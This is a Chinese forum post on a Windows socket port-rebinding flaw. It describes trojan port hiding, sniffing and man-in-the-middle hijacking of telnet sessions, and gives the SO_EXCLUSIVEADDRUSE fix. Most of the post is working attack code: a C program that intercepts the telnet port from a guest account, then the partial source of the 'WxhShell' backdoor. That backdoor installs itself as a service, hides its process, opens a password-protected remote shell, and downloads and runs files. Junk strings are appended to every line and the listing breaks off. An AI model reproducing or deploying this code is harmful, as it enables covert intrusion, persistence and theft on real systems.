社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13092阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )jj0^f1!j  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^.tg7%dJ  
GILfbNcd  
  saddr.sin_family = AF_INET; }G=M2V<L  
X]=t>   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); TC. ,V_  
(hsl~Jf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )"LJ hLg  
m|# y >4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 NI5``BwpO  
fM}#ON>Z  
  这意味着什么?意味着可以进行如下的攻击: +p^u^a  
Bx!-"e  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _@g;8CA  
tkhCw/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YqG7h,F  
]4{H+rw  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  -M2yw  
+(*DT9s+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  iE{&*.q_}>  
{*KEP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?upM>69{  
H]!"Zq k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >p/`;Kq@  
51u0]Qx;fm  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Bt#N4m[X*|  
!BI;C(,RL  
  #include \9d$@V  
  #include V]N?6\Op  
  #include WHI`/FM  
  #include    =xrv~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^.G$Q#y,  
  int main() ;=@0'xPEa-  
  { -8Xf0_  
  WORD wVersionRequested; iLz@5Zj8  
  DWORD ret; 23?rEhKe  
  WSADATA wsaData; :]c3|J  
  BOOL val; h~26WLf.  
  SOCKADDR_IN saddr; N7_"H>O$0U  
  SOCKADDR_IN scaddr; {!`4iiF  
  int err; M;NX:mX9  
  SOCKET s; 6RM/GM  
  SOCKET sc; Ie^l~ Gb  
  int caddsize; f5k6`7Vj]  
  HANDLE mt; =EIkD9u  
  DWORD tid;   $N\Ja*g  
  wVersionRequested = MAKEWORD( 2, 2 ); F"< v aqT2  
  err = WSAStartup( wVersionRequested, &wsaData ); ccnK#fn v  
  if ( err != 0 ) { [Yyk0Qv|4  
  printf("error!WSAStartup failed!\n"); l@\FWWQ  
  return -1; Tr|JYLwF  
  } FqifriLN  
  saddr.sin_family = AF_INET; ,47qw0=C  
   &R siVBA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q =Il|Nb>  
H[UlY?&+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); w*!aZ,P  
  saddr.sin_port = htons(23); RyNs6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I|J/F}@p  
  { Mlq.?-QgIL  
  printf("error!socket failed!\n"); DN/YHSYK  
  return -1; a> )f=uS  
  } w:l"\Tm  
  val = TRUE; <or2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 W l1 6`9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) - DCbko  
  { yBRC*0+Vy  
  printf("error!setsockopt failed!\n"); m3ff;,  
  return -1; {^'HL   
  } 8] ikygt"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; J=L5=G7(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?}7p"3j'z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H:G1BZjq  
;wVwX6:ZKr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) or]IZ2^n  
  { SzRmF1<  
  ret=GetLastError(); ?q&T$8zc4  
  printf("error!bind failed!\n"); GF WA>5n'  
  return -1;  p#[.{  
  } y?0nI<}}HK  
  listen(s,2); <1%$Vq  
  while(1) tu?MYp;  
  { MPk5^ua:  
  caddsize = sizeof(scaddr); rs.M]8a2{&  
  //接受连接请求 6^Sa;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  XlJZhc  
  if(sc!=INVALID_SOCKET) \?N2=jsu$  
  { QM]YJr3r E  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @P" p+  
  if(mt==NULL) T)}) pt!V  
  { `lPfb[b  
  printf("Thread Creat Failed!\n"); !by\9  ?n  
  break; kW (Bkuc)  
  } m4g$N)  
  } L-\GHu~)  
  CloseHandle(mt); go"Hf_  
  } Ru~j,|0r4  
  closesocket(s); d[35d J7F  
  WSACleanup(); = f i$}>\  
  return 0; Z/K{A`  
  }   N&pCx&  
  DWORD WINAPI ClientThread(LPVOID lpParam) NCx%L-GPi  
  { frQ{iUx  
  SOCKET ss = (SOCKET)lpParam; H.2QKws^F  
  SOCKET sc; gNhQD*+>{  
  unsigned char buf[4096]; *#Wdc O `-  
  SOCKADDR_IN saddr; LDD|(KLR*.  
  long num; UDni]P!E  
  DWORD val; l+R+&b^  
  DWORD ret; -(#iIgmP  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Q&V;(L62!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   3Y~>qGQwh  
  saddr.sin_family = AF_INET; 9K&:V(gmw  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h} EPnC}  
  saddr.sin_port = htons(23); rbCAnwA2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7yba04D)  
  { Lxk[;j+  
  printf("error!socket failed!\n"); {_Gs*<.  
  return -1; ZW}_Q s  
  } mQ=#nk$~g  
  val = 100; L:8q8i  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IMfqiH)  
  { r4f~z$QK  
  ret = GetLastError(); CA#,THty  
  return -1; u4_9)P`]0  
  } W T}H>T  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FE{FGM q  
  { LD g?'y;2  
  ret = GetLastError(); LrK,_)r:~  
  return -1; T5:G$-qL(  
  } 6DWgl$[[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [h:T*(R?  
  { ]d%8k}U  
  printf("error!socket connect failed!\n"); eN~=*Mn(za  
  closesocket(sc); 3{h_&Gbo'D  
  closesocket(ss); !L8#@BjU  
  return -1; (b6NX~G-:  
  } +KEWP\r  
  while(1) )tpL#J  
  { i@ BtM9:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 QVE6We  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 nQ L@hc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S[T8T|_  
  num = recv(ss,buf,4096,0); XGMiW0j0B  
  if(num>0) %!L9)(}"  
  send(sc,buf,num,0); y|q3Wa  
  else if(num==0) ?NP1y9Y]i  
  break; rc>6.sM %  
  num = recv(sc,buf,4096,0); \B 7tX  
  if(num>0) )];K .zP  
  send(ss,buf,num,0); jZ3fKyp#   
  else if(num==0) 0P(!j_2m  
  break; jb;hcraR  
  }  ^Va1f'g  
  closesocket(ss); Lu0x (/  
  closesocket(sc); F*K_+ ?m  
  return 0 ;  _\HQvH  
  } 4YX3+oS  
7`hP?a=  
=6#Eh=7N  
========================================================== -FCe:iY! A  
\_6/vZ%-B  
下边附上一个代码,,WXhSHELL -7(@1@1  
[ps*uva  
========================================================== jMDY(mwt  
BI}Cg{^km  
#include "stdafx.h" 3 SGDy]  
HOh!Xcu  
#include <stdio.h> 14'45  
#include <string.h> .k \@zQ|Ta  
#include <windows.h> u=_mvN  
#include <winsock2.h> g|Fn7]G  
#include <winsvc.h> Dl8;$~  
#include <urlmon.h> E`k@{*Hn&  
qWKAM@  
#pragma comment (lib, "Ws2_32.lib") ]P2"[y  
#pragma comment (lib, "urlmon.lib") |qZ1|  
[=]4-q6UN  
#define MAX_USER   100 // 最大客户端连接数 M[112%[+4  
#define BUF_SOCK   200 // sock buffer y Ej^=pw  
#define KEY_BUFF   255 // 输入 buffer `I5wV/%ib  
[,KXze_m  
#define REBOOT     0   // 重启 Ezv Y"T@  
#define SHUTDOWN   1   // 关机 Gm.]sE?.  
Q&| \r  
#define DEF_PORT   5000 // 监听端口 QZ%`/\(!8_  
H1(Uw:V8  
#define REG_LEN     16   // 注册表键长度 NS6:yX,/  
#define SVC_LEN     80   // NT服务名长度 AlW66YAuQ  
U2~kJ  
// 从dll定义API *``JamnSO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CoAv Sw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Km6YP!i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .Twk {p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R#8L\1l  
yN s,Ll~  
// wxhshell配置信息 S +^E.  
struct WSCFG { e2W".+B1  
  int ws_port;         // 监听端口 ^4Ah_ U  
  char ws_passstr[REG_LEN]; // 口令 9Ly]DZ;L  
  int ws_autoins;       // 安装标记, 1=yes 0=no f &wb  
  char ws_regname[REG_LEN]; // 注册表键名  "{Eta  
  char ws_svcname[REG_LEN]; // 服务名 \<6CZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _8)*]-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,tJ" 5O3-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'D"C4;X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'W,jMju  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1&(V   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~B(4qK1G  
f_Av3  
}; ;H.^i|_/  
JNUt$h  
// default Wxhshell configuration zeC RK+-  
struct WSCFG wscfg={DEF_PORT, @\P;W(m.i  
    "xuhuanlingzhe", 6ez<g Uf  
    1, M$8^91%4B  
    "Wxhshell", t=O8f5Pf{  
    "Wxhshell", KC#q@InK  
            "WxhShell Service", 8rS:5:Hi  
    "Wrsky Windows CmdShell Service", l9u!aD  
    "Please Input Your Password: ", FA3~|Zg  
  1, Ev(>z-{F  
  "http://www.wrsky.com/wxhshell.exe", 'B0{_RaTb  
  "Wxhshell.exe" Gvqxi|  
    }; #!KE\OI;@5  
YgV817OV  
// 消息定义模块 zXxT%ZcCj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )fSOi| |C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :#?5X|Gz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f|lU6EkU  
char *msg_ws_ext="\n\rExit."; i`$*T y"x  
char *msg_ws_end="\n\rQuit."; X;c'[q  
char *msg_ws_boot="\n\rReboot..."; tX %5BTv  
char *msg_ws_poff="\n\rShutdown..."; !pdb'*,n  
char *msg_ws_down="\n\rSave to "; KOuCHqCfq  
p\ZNy\N^  
char *msg_ws_err="\n\rErr!"; Q & K  
char *msg_ws_ok="\n\rOK!"; rOOT8nkR#  
b4ONh%  
char ExeFile[MAX_PATH]; A_5P/ARmI  
int nUser = 0; u'W8;G*~  
HANDLE handles[MAX_USER]; |3[Wa^U5  
int OsIsNt; ndz]cx  
[>%xd)8.c  
SERVICE_STATUS       serviceStatus; g:dH~>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aAMVsE{  
C-MjJ6D<  
// 函数声明 ~C`^6UQr/?  
int Install(void); 4'A!; ]:  
int Uninstall(void); z]?N+NHOA  
int DownloadFile(char *sURL, SOCKET wsh); l6 H|PR{  
int Boot(int flag); \(Y\|zC'0$  
void HideProc(void); {I#]@,  
int GetOsVer(void); mFaZio0GK  
int Wxhshell(SOCKET wsl); ^y1j.M@q  
void TalkWithClient(void *cs); (/j/>9iro  
int CmdShell(SOCKET sock); O7<]U_"I  
int StartFromService(void); j; y#[|  
int StartWxhshell(LPSTR lpCmdLine); !F1N~6f  
UsQ+`\|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _JE"{ ;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b@f$nS B  
Ww%=1M]e-  
// 数据结构和表定义 nV:LqF=  
SERVICE_TABLE_ENTRY DispatchTable[] = 4$S;(  
{ g8xQ|px  
{wscfg.ws_svcname, NTServiceMain}, =U|.^5sa#  
{NULL, NULL} pd;br8yE$@  
}; z'\_jaj^  
^o1*a&~J@  
// 自我安装 b+6\JE^Mz  
int Install(void) 72y0/FJ  
{ Dq5j1m.  
  char svExeFile[MAX_PATH]; FrYqaP  
  HKEY key; p@5`& Em,  
  strcpy(svExeFile,ExeFile); D (m j7oB  
#( jw!d&  
// 如果是win9x系统,修改注册表设为自启动 DB:+E|vSD  
if(!OsIsNt) { /.MN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !0@Yplj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U4-g^S[  
  RegCloseKey(key); ZUR6n>r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4?7W+/~<&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ytoo~n  
  RegCloseKey(key); ps%q9}J  
  return 0; `t9?=h!  
    } dEA6   
  } O6/f5  
} n3Z 5t  
else { 5b[jRj6  
]0)|7TV*  
// 如果是NT以上系统,安装为系统服务 O 8u j`G 9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PuT@}tw  
if (schSCManager!=0) Vz)`nmO}5\  
{ #Xb+`'  
  SC_HANDLE schService = CreateService O#k6' LN?  
  ( %_L\z*+  
  schSCManager, Vle@4 ]M\  
  wscfg.ws_svcname, sq[iY  
  wscfg.ws_svcdisp, x`mN U  
  SERVICE_ALL_ACCESS, {{MRELipW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DRgTe&+  
  SERVICE_AUTO_START, ul2")HL];  
  SERVICE_ERROR_NORMAL, &twf,8  
  svExeFile, PGBQn#c<  
  NULL, ;YX4:OBqr  
  NULL,  }'/`2!lY  
  NULL, I'iGt~4$  
  NULL, 5nO% Ke=  
  NULL *c*0PdV  
  ); /fT+^&  
  if (schService!=0) (+3Wgl+]/  
  { xAe~]k_D  
  CloseServiceHandle(schService); SNE#0L' }  
  CloseServiceHandle(schSCManager); V8-oYwOR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wK-3+&,9  
  strcat(svExeFile,wscfg.ws_svcname); z3M6V}s4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w1"nffhO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %r6y ;vAf  
  RegCloseKey(key); xA$nsZ]  
  return 0; l0cA6b  
    } ~-m"   
  } \z7SkZt,GT  
  CloseServiceHandle(schSCManager); rT5Ycm@  
} 9Z'8!$LYg  
} q51Uf_\/  
4^Q :  
return 1;  {=QiZWu  
} qt 2d\f  
S.q].a  
// 自我卸载 ct,l^|0Hu8  
int Uninstall(void) WjwLM2<nK7  
{ Ii_ojQP-z  
  HKEY key; `Ru3L#@  
nMvKTH  
if(!OsIsNt) { {0^&SI"5`E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GF%314Xu  
  RegDeleteValue(key,wscfg.ws_regname); I{ :(z3  
  RegCloseKey(key); Yf~{I-|`q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $3uKw!z  
  RegDeleteValue(key,wscfg.ws_regname); e `,ds~  
  RegCloseKey(key); F^LZeF[#t  
  return 0; FMkzrs  
  } c#]q^L\x  
} <_Q:'cx'  
} hq/k*;  
else { MxcFvo*LCp  
wz.6du6-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eT8}  
if (schSCManager!=0) =xJKIu  
{ G 0;XaL:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _}VloiY  
  if (schService!=0) )V:]g\t  
  {  n>`as  
  if(DeleteService(schService)!=0) { /'DsB%7g  
  CloseServiceHandle(schService); YH_7=0EJ  
  CloseServiceHandle(schSCManager); -!L"')  
  return 0; X'% ;B  
  } QZhj b  
  CloseServiceHandle(schService); g HbxgeL  
  } 6 ]pX>Xho  
  CloseServiceHandle(schSCManager); Y.U[wL>  
} T%n2$  
} 1`9xIm*9w  
!i%"7tQ3$  
return 1; UaViI/ks  
} { TRsd  
e$uiJNS2  
// 从指定url下载文件 UNi`P9D]3  
int DownloadFile(char *sURL, SOCKET wsh) "0k8IVwp  
{ P#/HTu5q7  
  HRESULT hr; d)R352  
char seps[]= "/"; /?1nHBYPM  
char *token; dwv6;x  
char *file; qTo-pA G`  
char myURL[MAX_PATH]; p6XtTx  
char myFILE[MAX_PATH]; *(>}Y  
dG71*)<)t  
strcpy(myURL,sURL); U}l14  
  token=strtok(myURL,seps); zf>5,k'x'A  
  while(token!=NULL) FwZ>{~?3  
  { ~/ilx#d  
    file=token; ^F"iP7   
  token=strtok(NULL,seps); LtKI3ou  
  } d k<XzO~g  
NwR}yb6  
GetCurrentDirectory(MAX_PATH,myFILE); Z@%HvB7  
strcat(myFILE, "\\"); :4T("a5aM  
strcat(myFILE, file); gOK\%&S]  
  send(wsh,myFILE,strlen(myFILE),0); [e4]"v`N  
send(wsh,"...",3,0); ? j 9|5*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~w;]c_{.b  
  if(hr==S_OK) d4 (/m_HMu  
return 0; ~E^,=4  
else cl*PFQp9j  
return 1; @M8|(N%  
2JS`Wqy  
} Z0>DNmH*  
\Ro^*4B  
// 系统电源模块 BiZ=${y  
int Boot(int flag) z|(+|pV(  
{ ii0Ce}8d~  
  HANDLE hToken; wB{;bB{  
  TOKEN_PRIVILEGES tkp; .+([  
^+9sG$T_EV  
  if(OsIsNt) { `H3.,]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `3'0I/d"z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~b|`'kU  
    tkp.PrivilegeCount = 1; !;!~n`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b2b75}_A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); + EM_TTf4  
if(flag==REBOOT) { &h,5:u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,*@AX>  
  return 0; 'XUKN/.  
} 7RvUH-S[  
else { &X]\)`j0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2.X"f  
  return 0; UP{j5gR:_  
} Y}DonF  
  } =0'q!}._!  
  else { ] k8/#@19  
if(flag==REBOOT) { ^U8r0]9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^:jN3@ Q%  
  return 0; yRYWch  
} M#@aB"@J>  
else { 35*\_9/#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LN_OD5gZ  
  return 0; 8g >b  
} [!VOw@uz  
} U#o'H @  
STA4 p6  
return 1; ='E$-_  
} oQj=;[  
Ij'NC C  
// win9x进程隐藏模块 47T}0q,  
void HideProc(void) ^-M^gYBR  
{ ._96*r=o  
a/uo}[Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z2bcCIq4  
  if ( hKernel != NULL ) i$KpDXP\  
  { OlQ,Ce  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S|GWcSg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ut)r&?  
    FreeLibrary(hKernel); 2_t=P|Uo  
  } 9(!]NNf!  
te4= S  
return; VRW] a  
} AP\ofLmq  
v1.q$ f^(  
// 获取操作系统版本 Us~ X9n_F  
int GetOsVer(void) !z zW2>  
{ qYp$fmj  
  OSVERSIONINFO winfo; mEuHl>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s2v(=  
  GetVersionEx(&winfo); yO>V/5`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WnAd5#G  
  return 1; I}Xg &-L  
  else vVs#^"-nW  
  return 0; /LQ:Sv7  
} $YG1z  
zG c[Z3N  
// 客户端句柄模块 ?&l)W~S  
int Wxhshell(SOCKET wsl) 7nHTlI1 b  
{ C6& ( c  
  SOCKET wsh; y$tX-9U  
  struct sockaddr_in client; n`;R pr&  
  DWORD myID; O:.,+,BH  
T_OF7?  
  while(nUser<MAX_USER) r FL$QC2  
{ 396R$\q  
  int nSize=sizeof(client); 5GAy "Xd  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); emA!Ew(g  
  if(wsh==INVALID_SOCKET) return 1; "L2m-e6  
;' e@t8i6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); czBi Dk4  
if(handles[nUser]==0) xUYow  
  closesocket(wsh); `HX3|w6W;  
else 1ZKzumF  
  nUser++; H"+c)FGi  
  } R.1Xst &i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M} .b" ljZ  
=J |sbY"]  
  return 0; <5Mrp"C[i  
} }G1&]Wt_  
Dr"/3xm  
// 关闭 socket mPVE?jnR^0  
void CloseIt(SOCKET wsh) ".2A9]_s  
{ 4^!4eyQ^  
closesocket(wsh); w&lZ42(mF  
nUser--; 5su.+4z\  
ExitThread(0); f(u&XuZ  
} ]RFdLV?  
g<[rH%\6fg  
// 客户端请求句柄 dA#{Cn;  
void TalkWithClient(void *cs) F1A1@{8bN  
{ _qTpy)+  
pX<a2F P  
  SOCKET wsh=(SOCKET)cs; S>ugRasZ$  
  char pwd[SVC_LEN]; Vf{2dZZ{1  
  char cmd[KEY_BUFF]; sS,#0Qt.  
char chr[1]; R.7#zhC`4  
int i,j; WSI Xj5R  
(Imp $  
  while (nUser < MAX_USER) { IG / $!* E  
M<qudi  
if(wscfg.ws_passstr) { FpkXOj?*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U7%28#@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4=p@2g2"H  
  //ZeroMemory(pwd,KEY_BUFF); }#b %"I0  
      i=0; b4~H3|  
  while(i<SVC_LEN) { H,>#|F  
LC'2q*:'  
  // 设置超时 ( D}" &2  
  fd_set FdRead; |@`"F5@,  
  struct timeval TimeOut; *:arva5  
  FD_ZERO(&FdRead); Sa}D.SBg  
  FD_SET(wsh,&FdRead); bc}dYK3$q  
  TimeOut.tv_sec=8; @ u1Q-:  
  TimeOut.tv_usec=0; J#7(]!;F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R[ yL _>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z Z%/W)t  
&LU'.jY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jpO38H0)  
  pwd=chr[0]; XZ:1!;  
  if(chr[0]==0xd || chr[0]==0xa) { 9oq)X[  
  pwd=0; 5V|tXsy:  
  break; *j<@yG2\gP  
  } t&"5dM\  
  i++; RWahsJTu  
    } B/Ba5z"r$  
#S i|!  
  // 如果是非法用户,关闭 socket 3Hm7 uBZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); caD5Pod4  
} ,35Ag#va  
deM~[1e[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z]>9nv`b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {mYx  
#'NY}6cb$  
while(1) { KF$%q((  
R]=SWE}U  
  ZeroMemory(cmd,KEY_BUFF); ]7F)bIG[  
ZW* fOaj  
      // 自动支持客户端 telnet标准   lS3 _Ild  
  j=0; )@c3##Zp)  
  while(j<KEY_BUFF) { NS 5 49S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H^v{Vo  
  cmd[j]=chr[0]; n^6TP'r  
  if(chr[0]==0xa || chr[0]==0xd) { 0Uaem  
  cmd[j]=0; $SF3odpt  
  break; Th+|*=Il  
  } hgj0tIi/  
  j++; T{~MiC6A  
    } m~Me^yt>}  
8OBF^r44R  
  // 下载文件 g*r/u;  
  if(strstr(cmd,"http://")) { STp!8mL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r!M#7FDs(  
  if(DownloadFile(cmd,wsh)) vz,LF=s2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dM gbW<uAu  
  else WH;xq^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h*l4Y!7  
  } t;XS;b %  
  else { g)N54WV  
(lb`#TTGx  
    switch(cmd[0]) { &U0WkW   
   /Ef4EX0  
  // 帮助 6)+9G_  
  case '?': { &"O_wd[+:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4I1K vN<A  
    break; Znq(R8BMW  
  } cqHw^{'8  
  // 安装 vK`S!7x'&  
  case 'i': { I tgH>L'  
    if(Install()) Qf~| S9,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Z% l.  
    else <mn-=#)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &X7ttB"#h  
    break; ,{TQ ~LP  
    } *<CxFy;|  
  // 卸载 Obg@YIwn  
  case 'r': { %g5jY%dg.r  
    if(Uninstall()) @6[x%j/!bt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l^BEFk;  
    else >VypE8H]x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9$EH K  
    break; r)%4-XeV  
    } %y3:SUOdx  
  // 显示 wxhshell 所在路径 5A;"jp^ Z  
  case 'p': { K9LEIby  
    char svExeFile[MAX_PATH]; PgqECd)f  
    strcpy(svExeFile,"\n\r"); |/2LWc?  
      strcat(svExeFile,ExeFile); Rgs3A)[`d/  
        send(wsh,svExeFile,strlen(svExeFile),0); yvS^2+jW  
    break; &(WE]ziuO  
    } uq]iMz>  
  // 重启 4=UI3 2v3  
  case 'b': { _=)!xnYf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;,FT&|3o  
    if(Boot(REBOOT)) O<Jwaap  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i$g|?g~]  
    else { Mf#2.TR  
    closesocket(wsh); a'm!M:w  
    ExitThread(0); @<VG8{  
